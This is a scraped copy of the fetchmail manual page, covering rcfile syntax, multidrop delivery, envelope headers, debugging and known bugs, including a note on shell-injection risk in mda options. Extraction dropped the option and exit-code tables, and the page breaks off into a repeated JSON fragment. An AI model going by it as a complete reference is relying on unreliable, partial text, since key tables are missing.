control terminal. This is useful for debugging or when fetchmail runs as the child of a supervisor process such as init(8) or Gerrit Pape’s runit. Note that this also causes the logfile option to be ignored (though perhaps it shouldn’t). Note that while running in daemon mode polling a POP2 or IMAP2bis server, transient errors (such as DNS failures or sendmail delivery refusals) may force the fetchall option on for the duration of the next polling cycle. This is a robustness feature. It means that if a message is fetched (and thus marked seen by the mailserver) but not delivered locally due to some transient error, it will be re-fetched during the next poll cycle. (The IMAP logic doesn’t delete messages until they’re delivered, so this problem does not arise.) If you touch or change the ~/.fetchmailrc file while fetchmail is running in daemon mode, this will be detected at the beginning of the next poll cycle. When a changed ~/.fetchmailrc is detected, fetchmail rereads it and restarts from scratch (using exec(2); no state information is retained in the new instance). Note also that if you break the ~/.fetchmailrc file’s syntax, the new instance will softly and silently vanish away on startup. The --postmaster <name> option (keyword: set postmaster) specifies the last-resort username to which multidrop mail is to be forwarded if no matching local recipient can be found. It is also used as destination of undeliverable mail if the ’bouncemail’ global option is off and additionally for spam-blocked mail if the ’bouncemail’ global option is off and the ’spambounce’ global option is on. This option defaults to the user who invoked fetchmail. If the invoking user is root, then the default of this option is the user ’postmaster’. Setting postmaster to the empty string causes such mail as described above to be discarded - this however is usually a bad idea. See also the description of the ’FETCHMAILUSER’ environment variable in the ENVIRONMENT section below. The --nobounce behaves like the "set no bouncemail" global option, which see. The --invisible option (keyword: set invisible) tries to make fetchmail invisible. Normally, fetchmail behaves like any other MTA would -- it generates a Received header into each message describing its place in the chain of transmission, and tells the MTA it forwards to that the mail came from the machine fetchmail itself is running on. If the invisible option is on, the Received header is suppressed and fetchmail tries to spoof the MTA it forwards to into thinking it came directly from the mailserver host. The --showdots option (keyword: set showdots) forces fetchmail to show progress dots even if the current tty is not stdout (for example logfiles). Fetchmail shows the dots by default when run in nodetach mode or when daemon mode is not enabled. By specifying the --tracepolls option, you can ask fetchmail to add information to the Received header on the form "polling {label} account {user}", where {label} is the account label (from the specified rcfile, normally ~/.fetchmailrc) and {user} is the username which is used to log on to the mail server. This header can be used to make filtering email where no useful header information is available and you want mail from different accounts sorted into different mailboxes (this could, for example, occur if you have an account on the same server running a mailing list, and are subscribed to the list using that account). The default is not adding any such header. In .fetchmailrc, this is called ’tracepolls’. When forwarding to an MDA, however, there is more possibility of error. Some MDAs are ’safe’ and reliably return a nonzero status on any delivery error, even one due to temporary resource limits. The maildrop(1) program is like this; so are most programs designed as mail transport agents, such as sendmail(1), including the sendmail wrapper of Postfix and exim(1). These programs give back a reliable positive acknowledgement and can be used with the mda option with no risk of mail loss. Unsafe MDAs, though, may return 0 even on delivery failure. If this happens, you will lose mail. The normal mode of fetchmail is to try to download only ’new’ messages, leaving untouched (and undeleted) messages you have already read directly on the server (or fetched with a previous fetchmail --keep). But you may find that messages you’ve already read on the server are being fetched (and deleted) even when you don’t specify --all. There are several reasons this can happen. One could be that you’re using POP2. The POP2 protocol includes no representation of ’new’ or ’old’ state in messages, so fetchmail must treat all messages as new all the time. But POP2 is obsolete, so this is unlikely. A potential POP3 problem might be servers that insert messages in the middle of mailboxes (some VMS implementations of mail are rumored to do this). The fetchmail code assumes that new messages are appended to the end of the mailbox; when this is not true it may treat some old messages as new and vice versa. Using UIDL whilst setting fastuidl 0 might fix this, otherwise, consider switching to IMAP. Yet another POP3 problem is that if they can’t make tempfiles in the user’s home directory, some POP3 servers will hand back an undocumented response that causes fetchmail to spuriously report "No mail". The IMAP code uses the presence or absence of the server flag \Seen to decide whether or not a message is new. This isn’t the right thing to do, fetchmail should check the UIDVALIDITY and use UID, but it doesn’t do that yet. Under Unix, it counts on your IMAP server to notice the BSD-style Status flags set by mail user agents and set the \Seen flag from them when appropriate. All Unix IMAP servers we know of do this, though it’s not specified by the IMAP RFCs. If you ever trip over a server that doesn’t, the symptom will be that messages you have already read on your host will look new to the server. In this (unlikely) case, only messages you fetched with fetchmail --keep will be both undeleted and marked old. In ETRN and ODMR modes, fetchmail does not actually retrieve messages; instead, it asks the server’s SMTP listener to start a queue flush to the client via SMTP. Therefore it sends only undelivered messages. Newer versions of sendmail return an error code of 571. According to RFC2821, the correct thing to return in this situation is 550 "Requested action not taken: mailbox unavailable" (the draft adds "[E.g., mailbox not found, no access, or command rejected for policy reasons]."). Older versions of the exim MTA return 501 "Syntax error in parameters or arguments". The postfix MTA runs 554 as an antispam response. Zmailer may reject code with a 500 response (followed by an enhanced status code that contains more information). Return codes which fetchmail treats as antispam responses and discards the message can be set with the ’antispam’ option. This is one of the only three circumstance under which fetchmail ever discards mail (the others are the 552 and 553 errors described below, and the suppression of multidropped messages with a message-ID already seen). If fetchmail is fetching from an IMAP server, the antispam response will be detected and the message rejected immediately after the headers have been fetched, without reading the message body. Thus, you won’t pay for downloading spam message bodies. By default, the list of antispam responses is empty. If the spambounce global option is on, mail that is spam-blocked triggers an RFC1892/RFC1894 bounce message informing the originator that we do not accept mail from it. See also BUGS. To protect the security of your passwords, your ~/.fetchmailrc may not normally have more than 0600 (u=rw,g=,o=) permissions; fetchmail will complain and exit otherwise (this check is suppressed when --version is on). You may read the .fetchmailrc file as a list of commands to be executed when fetchmail is called with no arguments. Comments begin with a ’#’ and extend through the end of the line. Otherwise the file consists of a series of server entries or global option statements in a free-format, token-oriented syntax. There are four kinds of tokens: grammar keywords, numbers (i.e. decimal digit sequences), unquoted strings, and quoted strings. A quoted string is bounded by double quotes and may contain whitespace (and quoted digits are treated as a string). Note that quoted strings will also contain line feed characters if they run across two or more lines, unless you use a backslash to join lines (see below). An unquoted string is any whitespace-delimited token that is neither numeric, string quoted nor contains the special characters ’,’, ’;’, ’:’, or ’=’. Any amount of whitespace separates tokens in server entries, but is otherwise ignored. You may use backslash escape sequences (\n for LF, \t for HT, \b for BS, \r for CR, \nnn for decimal (where nnn cannot start with a 0), \0ooo for octal, and \xhh for hex) to embed non-printable characters or string delimiters in strings. In quoted strings, a backslash at the very end of a line will cause the backslash itself and the line feed (LF or NL, new line) character to be ignored, so that you can wrap long strings. Without the backslash at the line end, the line feed character would become part of the string. Warning: while these resemble C-style escape sequences, they are not the same. fetchmail only supports these eight styles. C supports more escape sequences that consist of backslash (\) and a single character, but does not support decimal codes and does not require the leading 0 in octal notation. Example: fetchmail interprets \233 the same as \xE9 (Latin small letter e with acute), where C would interpret \233 as octal 0233 = \x9B (CSI, control sequence introducer). Each server entry consists of one of the keywords ’poll’ or ’skip’, followed by a server name, followed by server options, followed by any number of user descriptions. Note: the most common cause of syntax errors is mixing up user and server options. For backward compatibility, the word ’server’ is a synonym for ’poll’. You can use the noise keywords ’and’, ’with’, ’has’, ’wants’, and ’options’ anywhere in an entry to make it resemble English. They’re ignored, but but can make entries much easier to read at a glance. The punctuation characters ’:’, ’;’ and ’,’ are also ignored. Here are the legal global options: Here are the legal server options: Here are the legal user options: Remember that all user options must follow all server options. In the .fetchmailrc file, the ’envelope’ string argument may be preceded by a whitespace-separated number. This number, if specified, is the number of such headers to skip over (that is, an argument of 1 selects the second header of the given type). This is sometime useful for ignoring bogus envelope headers created by an ISP’s local delivery agent or internal forwards (through mail inspection systems, for instance). The ’folder’ and ’smtphost’ options (unlike their command-line equivalents) can take a space- or comma-separated list of names following them. All options correspond to the obvious command-line arguments, except the following: ’via’, ’interval’, ’aka’, ’is’, ’to’, ’dns’/’no dns’, ’checkalias’/’no checkalias’, ’password’, ’preconnect’, ’postconnect’, ’localdomains’, ’stripcr’/’no stripcr’, ’forcecr’/’no forcecr’, ’pass8bits’/’no pass8bits’ ’dropstatus/no dropstatus’, ’dropdelivered/no dropdelivered’, ’mimedecode/no mimedecode’, ’no idle’, and ’no envelope’. The ’via’ option is for if you want to have more than one configuration pointing at the same site. If it is present, the string argument will be taken as the actual DNS name of the mailserver host to query. This will override the argument of poll, which can then simply be a distinct label for the configuration (e.g. what you would give on the command line to explicitly query this host). The ’interval’ option (which takes a numeric argument) allows you to poll a server less frequently than the basic poll interval. If you say ’interval N’ the server this option is attached to will only be queried every N poll intervals. The ’is’ or ’to’ keywords associate the following local (client) name(s) (or server-name to client-name mappings separated by =) with the mailserver user name in the entry. If an is/to list has ’*’ as its last name, unrecognized names are simply passed through. Note that until fetchmail version 6.3.4 inclusively, these lists could only contain local parts of user names (fetchmail would only look at the part before the @ sign). fetchmail versions 6.3.5 and newer support full addresses on the left hand side of these mappings, and they take precedence over any ’localdomains’, ’aka’, ’via’ or similar mappings. A single local name can be used to support redirecting your mail when your username on the client machine is different from your name on the mailserver. When there is only a single local name, mail is forwarded to that local username regardless of the message’s Received, To, Cc, and Bcc headers. In this case, fetchmail never does DNS lookups. When there is more than one local name (or name mapping), fetchmail looks at the envelope header, if configured, and otherwise at the Received, To, Cc, and Bcc headers of retrieved mail (this is ’multidrop mode’). It looks for addresses with hostname parts that match your poll name or your ’via’, ’aka’ or ’localdomains’ options, and usually also for hostname parts which DNS tells it are aliases of the mailserver. See the discussion of ’dns’, ’checkalias’, ’localdomains’, and ’aka’ for details on how matching addresses are handled. If fetchmail cannot match any mailserver usernames or localdomain addresses, the mail will be bounced. Normally it will be bounced to the sender, but if the ’bouncemail’ global option is off, the mail will go to the local postmaster instead. (see the ’postmaster’ global option). See also BUGS. The ’dns’ option (normally on) controls the way addresses from multidrop mailboxes are checked. On, it enables logic to check each host address that does not match an ’aka’ or ’localdomains’ declaration by looking it up with DNS. When a mailserver username is recognized attached to a matching hostname part, its local mapping is added to the list of local recipients. The ’checkalias’ option (normally off) extends the lookups performed by the ’dns’ keyword in multidrop mode, providing a way to cope with remote MTAs that identify themselves using their canonical name, while they’re polled using an alias. When such a server is polled, checks to extract the envelope address fail, and fetchmail reverts to delivery using the To/Cc/Bcc headers (See below ’Header vs. Envelope addresses’). Specifying this option instructs fetchmail to retrieve all the IP addresses associated with both the poll name and the name used by the remote MTA and to do a comparison of the IP addresses. This comes in handy in situations where the remote server undergoes frequent canonical name changes, that would otherwise require modifications to the rcfile. ’checkalias’ has no effect if ’no dns’ is specified in the rcfile. The ’aka’ option is for use with multidrop mailboxes. It allows you to pre-declare a list of DNS aliases for a server. This is an optimization hack that allows you to trade space for speed. When fetchmail, while processing a multidrop mailbox, grovels through message headers looking for names of the mailserver, pre-declaring common ones can save it from having to do DNS lookups. Note: the names you give as arguments to ’aka’ are matched as suffixes -- if you specify (say) ’aka netaxs.com’, this will match not just a hostname netaxs.com, but any hostname that ends with ’.netaxs.com’; such as (say) pop3.netaxs.com and mail.netaxs.com. The ’localdomains’ option allows you to declare a list of domains which fetchmail should consider local. When fetchmail is parsing address lines in multidrop modes, and a trailing segment of a host name matches a declared local domain, that address is passed through to the listener or MDA unaltered (local-name mappings are not applied). If you are using ’localdomains’, you may also need to specify ’no envelope’, which disables fetchmail’s normal attempt to deduce an envelope address from the Received line or X-Envelope-To header or whatever header has been previously set by ’envelope’. If you set ’no envelope’ in the defaults entry it is possible to undo that in individual entries by using ’envelope <string>’. As a special case, ’envelope "Received"’ restores the default parsing of Received lines. The password option requires a string argument, which is the password to be used with the entry’s server. The ’preconnect’ keyword allows you to specify a shell command to be executed just before each time fetchmail establishes a mailserver connection. This may be useful if you are attempting to set up secure POP connections with the aid of ssh(1). If the command returns a nonzero status, the poll of that mailserver will be aborted. Similarly, the ’postconnect’ keyword similarly allows you to specify a shell command to be executed just after each time a mailserver connection is taken down. The ’forcecr’ option controls whether lines terminated by LF only are given CRLF termination before forwarding. Strictly speaking RFC821 requires this, but few MTAs enforce the requirement it so this option is normally off (only one such MTA, qmail, is in significant use at time of writing). The ’stripcr’ option controls whether carriage returns are stripped out of retrieved mail before it is forwarded. It is normally not necessary to set this, because it defaults to ’on’ (CR stripping enabled) when there is an MDA declared but ’off’ (CR stripping disabled) when forwarding is via SMTP. If ’stripcr’ and ’forcecr’ are both on, ’stripcr’ will override. The ’pass8bits’ option exists to cope with Microsoft mail programs that stupidly slap a "Content-Transfer-Encoding: 7bit" on everything. With this option off (the default) and such a header present, fetchmail declares BODY=7BIT to an ESMTP-capable listener; this causes problems for messages actually using 8-bit ISO or KOI-8 character sets, which will be garbled by having the high bits of all characters stripped. If ’pass8bits’ is on, fetchmail is forced to declare BODY=8BITMIME to any ESMTP-capable listener. If the listener is 8-bit-clean (as all the major ones now are) the right thing will probably result. The ’dropstatus’ option controls whether nonempty Status and X-Mozilla-Status lines are retained in fetched mail (the default) or discarded. Retaining them allows your MUA to see what messages (if any) were marked seen on the server. On the other hand, it can confuse some new-mail notifiers, which assume that anything with a Status line in it has been seen. (Note: the empty Status lines inserted by some buggy POP servers are unconditionally discarded.) The ’dropdelivered’ option controls whether Delivered-To headers will be kept in fetched mail (the default) or discarded. These headers are added by Qmail and Postfix mailservers in order to avoid mail loops but may get in your way if you try to "mirror" a mailserver within the same domain. Use with caution. The ’mimedecode’ option controls whether MIME messages using the quoted-printable encoding are automatically converted into pure 8-bit data. If you are delivering mail to an ESMTP-capable, 8-bit-clean listener (that includes all of the major MTAs like sendmail), then this will automatically convert quoted-printable message headers and data into 8-bit data, making it easier to understand when reading mail. If your e-mail programs know how to deal with MIME messages, then this option is not needed. The mimedecode option is off by default, because doing RFC2047 conversion on headers throws away character-set information and can lead to bad results if the encoding of the headers differs from the body encoding. The ’idle’ option is intended to be used with IMAP servers supporting the RFC2177 IDLE command extension, but does not strictly require it. If it is enabled, and fetchmail detects that IDLE is supported, an IDLE will be issued at the end of each poll. This will tell the IMAP server to hold the connection open and notify the client when new mail is available. If IDLE is not supported, fetchmail will simulate it by periodically issuing NOOP. If you need to poll a link frequently, IDLE can save bandwidth by eliminating TCP/IP connects and LOGIN/LOGOUT sequences. On the other hand, an IDLE connection will eat almost all of your fetchmail’s time, because it will never drop the connection and allow other polls to occur unless the server times out the IDLE. It also doesn’t work with multiple folders; only the first folder will ever be polled. The ’properties’ option is an extension mechanism. It takes a string argument, which is ignored by fetchmail itself. The string argument may be used to store configuration information for scripts which require it. In particular, the output of ’--configdump’ option will make properties associated with a user entry readily available to a Python script. Legal protocol identifiers for use with the ’protocol’ keyword are: auto (or AUTO) (legacy, to be removed from future release) pop2 (or POP2) (legacy, to be removed from future release) pop3 (or POP3) sdps (or SDPS) imap (or IMAP) apop (or APOP) kpop (or KPOP) Legal authentication types are ’any’, ’password’, ’kerberos’, ’kerberos_v4’, ’kerberos_v5’ and ’gssapi’, ’cram-md5’, ’otp’, ’msn’ (only for POP3), ’ntlm’, ’ssh’, ’external’ (only IMAP). The ’password’ type specifies authentication by normal transmission of a password (the password may be plain text or subject to protocol-specific encryption as in CRAM-MD5); ’kerberos’ tells fetchmail to try to get a Kerberos ticket at the start of each query instead, and send an arbitrary string as the password; and ’gssapi’ tells fetchmail to use GSSAPI authentication. See the description of the ’auth’ keyword for more. Specifying ’kpop’ sets POP3 protocol over port 1109 with Kerberos V4 authentication. These defaults may be overridden by later options. There are some global option statements: ’set logfile’ followed by a string sets the same global specified by --logfile. A command-line --logfile option will override this. Note that --logfile is only effective if fetchmail detaches itself from the terminal. Also, ’set daemon’ sets the poll interval as --daemon does. This can be overridden by a command-line --daemon option; in particular --daemon~0 can be used to force foreground operation. The ’set postmaster’ statement sets the address to which multidrop mail defaults if there are no local matches. Finally, ’set syslog’ sends log messages to syslogd(8). For solving hardware-induced segfaults, find the faulty component and repair or replace it. <http://www.bitwizard.nl/sig11/> may help you with details. For solving software-induced segfaults, the developers may need a "stack backtrace". 1. To get useful backtraces, fetchmail needs to be installed without getting stripped of its compilation symbols. Unfortunately, most binary packages that are installed are stripped, and core files from symbol-stripped programs are worthless. So you may need to recompile fetchmail. On many systems, you can type file ‘which fetchmail‘ to find out if fetchmail was symbol-stripped or not. If yours was unstripped, fine, proceed, if it was stripped, you need to recompile the source code first. You do not usually need to install fetchmail in order to debug it. 2. The shell environment that starts fetchmail needs to enable core dumps. The key is the "maximum core (file) size" that can usually be configured with a tool named "limit" or "ulimit". See the documentation for your shell for details. In the popular bash shell, "ulimit -Sc unlimited" will allow the core dump. 3. You need to tell fetchmail, too, to allow core dumps. To do this, run fetchmail with the -d0 -v options. It is often easier to also add --nosyslog -N as well. Finally, you need to reproduce the crash. You can just start fetchmail from the directory where you compiled it by typing ./fetchmail, so the complete command line will start with ./fetchmail -Nvd0 --nosyslog and perhaps list your other options. After the crash, run your debugger to obtain the core dump. The debugger will often be GNU GDB, you can then type (adjust paths as necessary) gdb ./fetchmail fetchmail.core and then, after GDB has started up and read all its files, type backtrace full, save the output (copy & paste will do, the backtrace will be read by a human) and then type quit to leave gdb. Note: on some systems, the core files have different names, they might contain a number instead of the program name, or number and name, but it will usually have "core" as part of their name. Return-Path: Resent-Sender: (ignored if it doesn’t contain an @ or !) Sender: (ignored if it doesn’t contain an @ or !) Resent-From: From: Reply-To: Apparently-From: The originating address is used for logging, and to set the MAIL FROM address when forwarding to SMTP. This order is intended to cope gracefully with receiving mailing list messages in multidrop mode. The intent is that if a local address doesn’t exist, the bounce message won’t be returned blindly to the author or to the list itself, but rather to the list manager (which is less annoying). In multidrop mode, destination headers are processed as follows: First, fetchmail looks for the Received: header (or whichever one is specified by the ’envelope’ option) to determine the local recipient address. If the mail is addressed to more than one recipient, the Received line won’t contain any information regarding recipient addresses. Then fetchmail looks for the Resent-To:, Resent-Cc:, and Resent-Bcc: lines. If they exist, they should contain the final recipients and have precedence over their To:/Cc:/Bcc: counterparts. If the Resent-* lines don’t exist, the To:, Cc:, Bcc: and Apparently-To: lines are looked for. (The presence of a Resent-To: is taken to imply that the person referred by the To: address has already received the original copy of the mail.) Basic format is: poll SERVERNAME protocol PROTOCOL username NAME password PASSWORD Example: poll pop.provider.net protocol pop3 username "jsmith" password "secret1" Or, using some abbreviations: poll pop.provider.net proto pop3 user "jsmith" password "secret1" Multiple servers may be listed: poll pop.provider.net proto pop3 user "jsmith" pass "secret1" poll other.provider.net proto pop2 user "John.Smith" pass "My^Hat" Here’s a version of those two with more whitespace and some noise words: poll pop.provider.net proto pop3 user "jsmith", with password secret1, is "jsmith" here; poll other.provider.net proto pop2: user "John.Smith", with password "My^Hat", is "John.Smith" here; This version is much easier to read and doesn’t cost significantly more (parsing is done only once, at startup time). If you need to include whitespace in a parameter string, enclose the string in double quotes. Thus: poll mail.provider.net with proto pop3: user "jsmith" there has password "u can’t krak this" is jws here and wants mda "/bin/mail" You may have an initial server description headed by the keyword ’defaults’ instead of ’poll’ followed by a name. Such a record is interpreted as defaults for all queries to use. It may be overwritten by individual server descriptions. So, you could write: defaults proto pop3 user "jsmith" poll pop.provider.net pass "secret1" poll mail.provider.net user "jjsmith" there has password "secret2" It’s possible to specify more than one user per server (this is only likely to be useful when running fetchmail in daemon mode as root). The ’user’ keyword leads off a user description, and every user specification in a multi-user entry must include it. Here’s an example: poll pop.provider.net proto pop3 port 3111 user "jsmith" with pass "secret1" is "smith" here user jones with pass "secret2" is "jjones" here keep This associates the local username ’smith’ with the pop.provider.net username ’jsmith’ and the local username ’jjones’ with the pop.provider.net username ’jones’. Mail for ’jones’ is kept on the server after download. Here’s what a simple retrieval configuration for a multidrop mailbox looks like: poll pop.provider.net: user maildrop with pass secret1 to golux ’hurkle’=’happy’ snark here This says that the mailbox of account ’maildrop’ on the server is a multidrop box, and that messages in it should be parsed for the server user names ’golux’, ’hurkle’, and ’snark’. It further specifies that ’golux’ and ’snark’ have the same name on the client as on the server, but mail for server user ’hurkle’ should be delivered to client user ’happy’. Note that fetchmail, until version 6.3.4, did NOT allow full user@domain specifications here, these would never match. Fetchmail 6.3.5 and newer support user@domain specifications on the left-hand side of a user mapping. Here’s an example of another kind of multidrop connection: poll pop.provider.net localdomains loonytoons.org toons.org: user maildrop with pass secret1 to * here This also says that the mailbox of account ’maildrop’ on the server is a multidrop box. It tells fetchmail that any address in the loonytoons.org or toons.org domains (including sub-domain addresses like ’[email protected]’) should be passed through to the local SMTP listener without modification. Be careful of mail loops if you do this! Here’s an example configuration using ssh and the plugin option. The queries are made directly on the stdin and stdout of imapd via ssh. Note that in this setup, IMAP authentication can be skipped. poll mailhost.net with proto imap: plugin "ssh %h /usr/sbin/imapd" auth ssh; user esr is esr here Also, note that in multidrop mode duplicate mails are suppressed. A piece of mail is considered duplicate if it has the same message-ID as the message immediately preceding and more than one addressee. Such runs of messages may be generated when copies of a message addressed to multiple users are delivered to a multidrop box. Sometimes fetchmail can deduce the envelope address. If the mailserver MTA is sendmail and the item of mail had just one recipient, the MTA will have written a ’by/for’ clause that gives the envelope addressee into its Received header. But this doesn’t work reliably for other MTAs, nor if there is more than one recipient. By default, fetchmail looks for envelope addresses in these lines; you can restore this default with -E "Received" or ’envelope Received’. As a better alternative, some SMTP listeners and/or mail servers insert a header in each message containing a copy of the envelope addresses. This header (when it exists) is often ’X-Original-To’, ’Delivered-To’ or ’X-Envelope-To’. Fetchmail’s assumption about this can be changed with the -E or ’envelope’ option. Note that writing an envelope header of this kind exposes the names of recipients (including blind-copy recipients) to all receivers of the messages, so the upstream must store one copy of the message per recipient to avoid becoming a privacy problem. Postfix, since version 2.0, writes an X-Original-To: header which contains a copy of the envelope as it was received. Qmail and Postfix generally write a ’Delivered-To’ header upon delivering the message to the mail spool and use it to avoid mail loops. Qmail virtual domains however will prefix the user name with a string that normally matches the user’s domain. To remove this prefix you can use the -Q or ’qvirtual’ option. Sometimes, unfortunately, neither of these methods works. That is the point when you should contact your ISP and ask them to provide such an envelope header, and you should not use multidrop in this situation. When they all fail, fetchmail must fall back on the contents of To/Cc headers (Bcc headers are not available - see below) to try to determine recipient addressees -- and these are unreliable. In particular, mailing-list software often ships mail with only the list broadcast address in the To header. Note that a future version of fetchmail may remove To/Cc parsing! When fetchmail cannot deduce a recipient address that is local, and the intended recipient address was anyone other than fetchmail’s invoking user, mail will get lost. This is what makes the multidrop feature risky without proper envelope information. A related problem is that when you blind-copy a mail message, the Bcc information is carried only as envelope address (it’s removed from the headers by the sending mail server, so fetchmail can see it only if there is an X-\Envelope-To header). Thus, blind-copying to someone who gets mail over a fetchmail multidrop link will fail unless the the mailserver host routinely writes X-Envelope-To or an equivalent header into messages in your maildrop. In conclusion, mailing lists and Bcc’d mail can only work if the server you’re fetching from (1) stores one copy of the message per recipient in your domain and (2) records the envelope information in a special header (X-Original-To, Delivered-To, X-Envelope-To). On your server, you can alias ’fetchmail-friends’ to ’esr’; then, in your .fetchmailrc, declare ’to esr fetchmail-friends here’. Then, when mail including ’fetchmail-friends’ as a local address gets fetched, the list name will be appended to the list of recipients your SMTP listener sees. Therefore it will undergo alias expansion locally. Be sure to include ’esr’ in the local alias expansion of fetchmail-friends, or you’ll never see mail sent only to the list. Also be sure that your listener has the "me-too" option set (sendmail’s -oXm command-line option or OXm declaration) so your name isn’t removed from alias expansions in messages you send. This trick is not without its problems, however. You’ll begin to see this when a message comes in that is addressed only to a mailing list you do not have declared as a local name. Each such message will feature an ’X-Fetchmail-Warning’ header which is generated because fetchmail cannot find a valid local name in the recipient addresses. Such messages default (as was described above) to being sent to the local user running fetchmail, but the program has no way to know that that’s actually the right thing. If you’re tempted to use fetchmail to retrieve mail for multiple users from a single mail drop via POP or IMAP, think again (and reread the section on header and envelope addresses above). It would be smarter to just let the mail sit in the mailserver’s queue and use fetchmail’s ETRN or ODMR modes to trigger SMTP sends periodically (of course, this means you have to poll more frequently than the mailserver’s expiry period). If you can’t arrange this, try setting up a UUCP feed. If you absolutely must use multidrop for this purpose, make sure your mailserver writes an envelope-address header that fetchmail can see. Otherwise you will lose mail and it will come back to haunt you. This is a convenient but also slow method. To speed it up, pre-declare mailserver aliases with ’aka’; these are checked before DNS lookups are done. If you’re certain your aka list contains all DNS aliases of the mailserver (and all MX names pointing at it - note this may change in a future version) you can declare ’no dns’ to suppress DNS lookups entirely and only match against the aka list. The exit codes returned by fetchmail are as follows: If the environment variable FETCHMAILHOME is set to a valid and existing directory name, fetchmail will read $FETCHMAILHOME/fetchmailrc (the dot is missing in this case), $FETCHMAILHOME/.fetchids and $FETCHMAILHOME/.fetchmail.pid rather than from the user’s home directory. The .netrc file is always looked for in the the invoking user’s home directory regardless of FETCHMAILHOME’s setting. If the HOME_ETC variable is set, fetchmail will read $HOME_ETC/.fetchmailrc instead of ~/.fetchmailrc. If HOME_ETC and FETCHMAILHOME are set, HOME_ETC will be ignored. If fetchmail is running in daemon mode as non-root, use SIGUSR1 to wake it (this is so SIGHUP due to logout can retain the default action of killing it). Running fetchmail in foreground while a background fetchmail is running will do whichever of these is appropriate to wake it up. Fetchmail cannot handle user names that contain blanks after a "@" character, for instance "demonstr@ti on". These are rather uncommon and only hurt when using UID-based --keep setups, so the 6.3.X versions of fetchmail won’t be fixed. Please check the NEWS file that shipped with fetchmail for more known bugs than those listed here. The assumptions that the DNS and in particular the checkalias options make are not often sustainable. For instance, it has become uncommon for an MX server to be a POP3 or IMAP server at the same time. Therefore the MX lookups may go away in a future release. The mda and plugin options interact badly. In order to collect error status from the MDA, fetchmail has to change its normal signal handling so that dead plugin processes don’t get reaped until the end of the poll cycle. This can cause resource starvation if too many zombies accumulate. So either don’t deliver to a MDA using plugins or risk being overrun by an army of undead. The --interface option does not support IPv6 and it is doubtful if it ever will, since there is no portable way to query interface IPv6 addresses. The RFC822 address parser used in multidrop mode chokes on some @-addresses that are technically legal but bizarre. Strange uses of quoting and embedded comments are likely to confuse it. In a message with multiple envelope headers, only the last one processed will be visible to fetchmail. Use of some of these protocols requires that the program send unencrypted passwords over the TCP/IP connection to the mailserver. This creates a risk that name/password pairs might be snaffled with a packet sniffer or more sophisticated monitoring software. Under Linux and FreeBSD, the --interface option can be used to restrict polling to availability of a specific interface device with a specific local or remote IP address, but snooping is still possible if (a) either host has a network device that can be opened in promiscuous mode, or (b) the intervening network link can be tapped. We recommend the use of ssh(1) tunnelling to not only shroud your passwords but encrypt the entire conversation. Use of the %F or %T escapes in an mda option could open a security hole, because they pass text manipulable by an attacker to a shell command. Potential shell characters are replaced by ’_’ before execution. The hole is further reduced by the fact that fetchmail temporarily discards any suid privileges it may have while running the MDA. For maximum safety, however, don’t use an mda command containing %F or %T when fetchmail is run from the root account itself. Fetchmail’s method of sending bounces due to errors or spam-blocking and spam bounces requires that port 25 of localhost be available for sending mail via SMTP. If you modify a ~/.fetchmailrc while a background instance is running and break the syntax, the background instance will die silently. Unfortunately, it can’t die noisily because we don’t yet know whether syslog should be enabled. On some systems, fetchmail dies quietly even if there is no syntax error; this seems to have something to do with buggy terminal ioctl code in the kernel. The -f~- option (reading a configuration from stdin) is incompatible with the plugin option. The ’principal’ option only handles Kerberos IV, not V. Interactively entered passwords are truncated after 63 characters. If you really need to use a longer password, you will have to use a configuration file. A backslash as the last character of a configuration file will be flagged as a syntax error rather than ignored. Send comments, bug reports, gripes, and the like to the fetchmail-devel list <[email protected]>. An HTML FAQ is available at the fetchmail home page; surf to http://fetchmail.berlios.de/ or do a WWW search for pages with ’fetchmail’ in their titles. Most of the code is from Eric S. Raymond <[email protected]>. Too many other people to name here have contributed code and patches. This program is descended from and replaces popclient, by Carl Harris <[email protected]>; the internals have become quite different, but some of its interface design is directly traceable to that ancestral program. This manual page has been improved by R. Hannes Beinert and H[’e]ctor Garc[’i]a. The fetchmail home page: <http://fetchmail.berlios.de/> The maildrop home page: <http://www.courier-mta.org/maildrop/> Note that this list is just a collection of references and not a statement as to the actual protocol conformance or requirements in
[ { "code": null, "e": 11048, "s": 10715, "text": "\nThe\nfetchmail program can gather mail from servers supporting any of the common\nmail-retrieval protocols: POP2 (legacy, to be removed from future\nrelease), POP3, IMAP2bis, IMAP4, and IMAP4rev1.\nIt can also use the ESMTP ETRN extension and ODMR. (The RFCs describing all\nthese protocols are listed at the end of this manual page.)\n" }, { "code": null, "e": 11318, "s": 11048, "text": "\nWhile\nfetchmail is primarily intended to be used over on-demand TCP/IP links (such as\nSLIP or PPP connections), it may also be useful as a message transfer\nagent for sites which refuse for security reasons to permit\n(sender-initiated) SMTP transactions with sendmail.\n" }, { "code": null, "e": 12007, "s": 11318, "text": "\nIf\nfetchmail is used with a POP or an IMAP server, it has two fundamental modes of\noperation for each user account from which it retrieves mail:\nsingledrop- and multidrop-mode. In singledrop-mode,\nfetchmail assumes that all messages in the user’s account are intended for a single\nrecipient. An individual mail message will not be inspected for recipient\ninformation, rather, the identity of the recipient will either default to\nthe local user currently executing fetchmail,\nor else will need to be explicitly specified in the configuration file.\nSingledrop-mode is used when the fetchmailrc configuration contains at\nmost a single local user specification for a given server account.\n" }, { "code": null, "e": 13300, "s": 12007, "text": "\nWith multidrop-mode,\nfetchmail is not able to assume that there is only a single recipient, but rather\nthat the mail server account actually contains mail intended for any\nnumber of different recipients. Therefore,\nfetchmail must attempt to deduce the proper \"envelope recipient\" from the mail\nheaders of each message. In this mode of operation,\nfetchmail almost resembles an MTA, however it is important to note that neither\nthe POP nor IMAP protocols were intended for use in this fashion, and\nhence envelope information is often not directly available. Instead,\nfetchmail must resort to a process of informed guess-work in an attempt to\ndiscover the true envelope recipient of a message, unless the ISP stores\nthe envelope information in some header (not all do). Even if this\ninformation is present in the headers, the process can\nbe error-prone and is dependent upon the specific mail server used\nfor mail retrieval. Multidrop-mode is used when more than one local\nuser is specified for a particular server account in the configuration\nfile. Note that the forgoing discussion of singledrop- and\nmultidrop-modes does not apply to the ESMTP ETRN or ODMR retrieval\nmethods, since they are based upon the SMTP protocol which\nspecifically provides the envelope recipient to fetchmail.\n" }, { "code": null, "e": 13959, "s": 13300, "text": "\nAs each message is retrieved, fetchmail normally delivers it via SMTP to\nport 25 on the machine it is running on (localhost), just as though it\nwere being passed in over a normal TCP/IP link. fetchmail provides\nthe SMTP server with an envelope recipient derived in the manner described\npreviously. The mail will then be\ndelivered locally via your system’s MDA (Mail Delivery Agent, usually\nsendmail(8) but your system may use a different one such\nas smail, mmdf, exim, postfix, or 